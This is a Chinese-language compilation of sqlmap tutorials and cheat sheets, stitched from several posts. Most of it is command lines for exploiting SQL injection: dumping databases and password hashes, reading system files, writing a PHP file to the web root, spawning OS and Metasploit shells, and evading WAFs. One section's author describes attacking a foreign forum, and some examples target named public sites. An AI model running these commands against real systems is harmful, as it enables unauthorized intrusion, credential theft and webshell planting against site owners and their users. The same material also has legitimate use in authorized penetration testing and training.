sqlmap使用笔记

-u #注入点
-f #指纹判别 数据库 类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “”#指定数据库名
-T “”#指定表名
-C “”#指定字段
-s “”#保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “
 
xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “”#列出指定数据库中的表
–columns -T “user”-D “mysql”#列出my sql数据库 中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “”-D “”-C “”#列出指定数据库的表的字段的数据(–dump -T users -D master
 
-C surname)
–dump -T “”-D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft
 
Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “”#POST方式提交数据(–method “POST” –data “page=1&id=2″)
–cookie “用;号分开”#cookie注入(–cookies=” PHP SESSID=mvijocbglq6pi463rlgk1e4v52;
 
security=low”)
–referer “”#使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “”#自定义user-agent
–proxy “http://127.0.0.1:8118″#代理注入
–string “”#指定关键词
–threads   #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user =
 
‘root’LIMIT 0, 1″)
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/ html /1.txt;将
 
本地的test.txt文件写入到目标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”#指定
 
user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用语句
1.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -f -b –current-user –current-db –
 
users –passwords –dbs -v 0
2.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –passwords -U root –union-use -v 2
3.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –dump -T users -C username -D userdb
 
–start 2 –stop 3 -v 2
4.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –dump -C “user,pass” -v 1 –
 
exclude-sysdbs
5.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –sql-shell -v 2
6.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –file-read “c:\boot.ini” -v 2
7.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –file-write /test/test.txt –file-
 
dest /var/www/html/1.txt -v 2
8.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-cmd “id” -v 1
9.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-shell –union-use -v 2
10.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-pwn –msf-
 
path=/opt/framework/msf3 –priv-esc -v 1
11.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-pwn –msf-
 
path=/opt/framework/msf3 -v 1
12.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –os-bof –msf-
 
path=/opt/framework/msf3 -v 1
13.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 –reg-add –reg-key=”
 
HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1
14.
./sqlmap.py -u http://www.2cto.com/ test.php?p=2 -b –eta
15.
./sqlmap.py -u “http://www.2cto.com/ sqlmap/mysql/get_str_brackets.php?id=1″-p id –
 
prefix “‘)” –suffix “AND (‘abc’='abc”
16.
./sqlmap.py -u “http://www.2cto.com/ sqlmap/mysql/basic/get_int.php?id=1″ –auth-type
 
Basic –auth-cred “testuser:testpass”
17.
./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”
18.
./sqlmap.py -u “http://www.2cto.com/ sqlmap/mysql/get_int.php?id=1″ –tamper
 
tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19.
./sqlmap.py -u “http://www.2cto.com/ sqlmap/ mssql /get_int.php?id=1″ –sql-query
 
“SELECT ‘foo’” -v 1
20.
./sqlmap.py -u “http://www.2cto.com/  mysql /get_int_4.php?id=1″ –common-tables -D
 
testdb –banner
 
简单的注入流程
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.2cto.com/ test.php?p=2 -f -b –current-user –current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.2cto.com/ test.php?p=2 –privileges -U 用户名-v 1
sqlmap -u http://www.2cto.com/ test.php?p=2 –is-dba -U 用户名-v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.2cto.com/ test.php?p=2 –users –passwords -v 2
sqlmap -u http://www.2cto.com/ test.php?p=2 –passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.2cto.com/ test.php?p=2 –dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.2cto.com/ test.php?p=2 –tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.2cto.com/ test.php?p=2 –columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.2cto.com/ test.php?p=2 –dump -D mysql -T users -C
 
“username,password” -s “sqlnmapdb.log” -v 2
8.file-read读取web文件
sqlmap -u http://www.2cto.com/ test.php?p=2 –file-read “/etc/passwd” -v 2
9.file-write写入文件到web
sqlmap -u http://www.2cto.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest   /var/www/html/xx.php -v 2


--------------------------------------------------------------------------------------------------------------------------


今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
 
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
0 #获取字段内容
 
******************信息获取******************
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 条
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news?id=1″-b #获取banner信息
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
***********高级用法*************
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
–technique   测试指定注入类型\使用的技术
不加参数默认测试所有注入技术
•     B: 基于布尔的SQL 盲注
•     E: 基于显错sql 注入
•     U: 基于UNION 注入
•     S: 叠层sql 注入
•     T: 基于时间盲注
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
–tamper 插件所在目录
\sqlmap-dev\tamper
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
level 执行测试等级 攻击实例:
Sqlmap -u “http://url/news?id=1&Submit=Submit”
–cookie=”PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
–password
参考文档:http://sqlmap.sourceforge.net/doc/README.html
***********安装最新版本*************
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
sudo vim /home/当前用户/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
如果想对所有用户有效 可设置全局 编辑下面的文件
vim /etc/profile
同样加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安装python
http://www.sliksvn.com/en/download 安装windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安装sqlmap
*修改环境变量
–version             显示程序的版本号并退出
-h, –help            显示此帮助消息并退出
-v VERBOSE            详细级别:0-6(默认为1)
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
-d DIRECT           直接连接到数据库
-u URL, –url=URL   目标URL。
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
-r REQUESTFILE      从一个文件中载入HTTP 请求。
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
-c CONFIGFILE       从INI 配置文件中加载选项。
Request(请求)::
这些选项可以用来指定如何连接到目标URL。
–data=DATA         通过POST 发送的数据字符串
–cookie=COOKIE     HTTP Cookie 头
–cookie-urlencode  URL 编码生成的cookie 注入
–drop-set-cookie   忽略响应的Set –Cookie 头信息
 
–user-agent=AGENT  指定  HTTP User –Agent 头
–random-agent      使用随机选定的HTTP User –Agent 头
–referer=REFERER   指定  HTTP Referer 头
–headers=HEADERS   换行分开,加入其他的HTTP 头
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
–proxy=PROXY       使用HTTP 代理连接到目标URL
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
–ignore-proxy      忽略系统默认的HTTP 代理
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
–retries=RETRIES   连接超时后重新连接的时间(默认3)
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL   在测试过程中经常访问的url 地址
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
-o                  开启所有优化开关
–predict-output    预测常见的查询输出
–keep-alive        使用持久的HTTP(S)连接
–null-connection   从没有实际的HTTP 响应体中检索页面长度
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
Injection(注入):
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
-p TESTPARAMETER    可测试的参数(S)
–dbms=DBMS         强制后端的DBMS 为此值
–os=OS             强制后端的DBMS 操作系统为这个值
–prefix=PREFIX     注入payload 字符串前缀
–suffix=SUFFIX     注入 payload 字符串后缀
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
–level=LEVEL       执行测试的等级(1-5,默认为1)
–risk=RISK         执行测试的风险(0-3,默认为1)
–string=STRING     查询时有效时在页面匹配字符串
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
–text-only         仅基于在文本内容比较网页
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
–technique=TECH    SQL 注入技术测试(默认BEUST)
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
–union-char=UCHAR  用于暴力猜解列数的字符
Fingerprint(指纹):
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
Enumeration(枚举):
 
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
-b, –banner        检索数据库管理系统的标识
–current-user      检索数据库管理系统当前用户
–current-db        检索数据库管理系统当前数据库
–is-dba            检测DBMS 当前用户是否DBA
–users             枚举数据库管理系统用户
–passwords         枚举数据库管理系统用户密码哈希
–privileges        枚举数据库管理系统用户的权限
–roles             枚举数据库管理系统用户的角色
–dbs               枚举数据库管理系统数据库
–tables            枚举的DBMS 数据库中的表
–columns           枚举DBMS 数据库表列
–dump              转储数据库管理系统的数据库中的表项
–dump-all          转储所有的DBMS 数据库表中的条目
–search            搜索列(S),表(S)和/或数据库名称(S)
-D DB               要进行枚举的数据库名
-T TBL              要进行枚举的数据库表
-C COL              要进行枚举的数据库列
-U USER             用来进行枚举的数据库用户
–exclude-sysdbs    枚举表时排除系统数据库
–start=LIMITSTART  第一个查询输出进入检索
–stop=LIMITSTOP    最后查询的输出进入检索
–first=FIRSTCHAR   第一个查询输出字的字符检索
–last=LASTCHAR     最后查询的输出字字符检索
–sql-query=QUERY   要执行的SQL 语句
–sql-shell         提示交互式SQL 的shell
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
–common-tables     检查存在共同表
–common-columns    检查存在共同列
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
–udf-inject        注入用户自定义函数
–shared-lib=SHLIB  共享库的本地路径
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
–os-cmd=OSCMD      执行操作系统命令
–os-shell          交互式的操作系统的shell
–os-pwn            获取一个OOB shell,meterpreter 或VNC
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
–os-bof            存储过程缓冲区溢出利用
–priv-esc          数据库进程用户权限提升
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
–tmp-path=TMPPATH  远程临时文件目录的绝对路径
 
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
–reg-read          读一个Windows 注册表项值
–reg-add           写一个Windows 注册表项值数据
–reg-del           删除Windows 注册表键值
–reg-key=REGKEY    Windows 注册表键
–reg-value=REGVAL  Windows 注册表项值
–reg-data=REGDATA  Windows 注册表键值数据
–reg-type=REGTYPE  Windows 注册表项值类型
General(一般): 这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
–flush-session     刷新当前目标的会话文件
–fresh-queries     忽略在会话文件中存储的查询结果
–eta               显示每个输出的预计到达时间
–update            更新SqlMap
–save              file 保存选项到INI 配置文件
–batch             从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
–beep              发现SQL 注入时提醒
–check-payload     IDS 对注入payloads 的检测测试
–cleanup           SqlMap 具体的UDF 和表清理DBMS
–forms             对目标URL 的解析和测试形式
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
–page-rank         Google dork 结果显示网页排名(PR)
–parse-errors      从响应页面解析数据库管理系统的错误消息
–replicate         复制转储的数据到一个sqlite3 数据库
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard            给初级用户的简单向导界面


--------------------------------------------------------------------------------------------------------

1)判断当前用户是否是dba
python sqlmap.py -u "url" --is-dba -v 1

2)--users:列出数据库管理系统用户
python sqlmap.py -u "url" --users -v 0

3)--passwords:数据库用户密码(hash)
python sqlmap.py -u "url" --passwords -v 0
python sqlmap.py -u "url" --passwords -U sa -v 0

4)查看用户权限
python sqlmap.py -u "url" --privileges -v 0
python sqlmap.py -u "url" --privileges -U postgres -v 0

5)--dbs可以利用的数据库
python sqlmap.py -u "url" --dbs -v 0

6)--tables列数据库表
python sqlmap.py -u "url" --tables -D "information_scheam"

-D:指定数据名称

7)--columns 列出表中的列名
python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1

-T:指定表名,-D:指定库名

8)--dump列表中指定列的内容
python sqlmap.py -u "url" --dump -T "users" -D "testdb"
-C:可以指定字段

指定列的范围为2到4
python sqlmap.py -u "url" --dump -T "users" -D "testdb"  --start 2 --stop 4 -v 0

9)--dumap-all列出所有数据库,所有表内容
python sqlmap.py -u "url" --dump-all -v 0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0

10)--file读取文件内容[load_file()函数]
python sqlmap.py -u "url" --file /etc/password

11)执行SQL
python sqlmap.py -u "url" --sql-shell

12)-p 指定参数
python sqlmap.py -u "url" -v 1 -p "id"

-p可以指定多参数-p "cat,id"

13)POST提交
python sqlmap.py -u "url" --method POST --data "id=1"

14)COOKIE提交
python sqlmap.py -u "url" --cookie "id=1" -v 1

cookie值可以由TamperData抓取

15)refer欺骗

python sqlmap.py -u "url" --refer "url" -v 3

16)使用自定义user-agent或者user-agents.txt
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"

17)使用多线程猜解
python sqlmap.py -u "url" -v 1 --current-user --threads 3

18)指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"

19)指定操作系统绕过SQLMAP自动检测
python sqlmap.py -u "url" -v 2 --os "Windows"

20)--prefix and --postfix自定义payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"

21)union注入测试
python sqlmap.py -u "url" --union-test -v -1

22)配合order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1

23)python sqlmap.py -u "url" -v 1 --union-use --banner

24)python sqlmap.py -u "url" -v 5 --union-use --current-user

25)python sqlmap.py -u "url" -v 1 --union-use --dbs

 

-------------------------------------------------------------------------------------------


更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行SQL语句

sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 5 //更详细的信息

load options from a configuration INI file
sqlmap -c sqlmap.conf

使用POST方法提交
sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data "id=1"

使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1

使用referer欺骗
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"

使用基本认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3

使用Digest认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3

使用代理,配合TOR
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"

使用多线程猜解
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"

指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"

* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"

* Linux
* Windows

自定义payload
Options: --prefix and --postfix

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=(" . $_GET[id] . ") LIMIT 0, 1";:

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "" --postfix "AND test=test"

[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter id with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter id
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter id is custom injectable
[...]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1) AND 7433=7433 AND (test=test

and makes the query syntatically correct to the page query:

SELECT * FROM users WHERE id=(1) AND 7433=7433 AND (test=test) LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "lu[w][w]er" -v

排除网站的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([d]+)"

多语句测试,php内嵌函数mysql_query(),不支持多语句
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1

union注入测试
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --union-test -v 1

unionz注入配合orderby
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1

python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs

fingerprint
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b

判断当前用户是否是dba
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1

列举数据库用户
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0

列举数据库用户密码
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords -U sa -v 0

查看用户权限
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges -U postgres -v 0

列数据库
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0

列出指定数据库指定表的列名
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns -T users -D test -v 1

列出指定数据库的指定表的指定列的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump -T users -D master -C surname -v 0

指定列的范围从2-4
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump -T users -D test --start 2 --stop 4 -v 0

导出所有数据库,所有表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0

只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all --exclude-sysdbs -v 0

sql query
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "SELECT usename FROM pg_user" -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1



---------------------------------------------------------------------------------------------------------------------------------------------------------------------------



最近看到很多大牛发sqlmap的视频教程。

然后偶就屁颠屁颠滚去下了一个,然后尼玛,一连从头看到尾。。。。。。各种科普啊,看视频有点浪费时间。
各位别去被坑爹了,来个sqlmap 简易教程算了,何必浪费看视频的时间。
sqlmap 再牛逼也就是个python的脚本,脚本再牛逼也得有–help -hh
所以第一件事当然是滚去看帮助文档。
sqlmap -hh
我操。。。。。。。这么多英文,多少只草泥马在心中奔腾,咋办,硬着头皮看呗,有些人头皮硬不了咋办,简单,来,哥教你简单的
注入分法不同,种类不同,来个简单的分类:
1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” 
2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
3.cookie类注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2
好,区分完毕再来后续的
需要数据库好:–dbs
得到数据库名称xxx,需要表: -D xxx –tables
得到表名xxxx,需要段:-D xxx -T xxxx –columns
得到段内有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump
那么我们来理解一下,-D -T -C 是干吗的,当然就是知道其名称,指定使用其。
–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗
–dump 那自然就是字面意思,类似于导出数据的行为
其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf –tamper=”"
注入被识别出来是工具,断开咋办–user-agent=”"
再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子

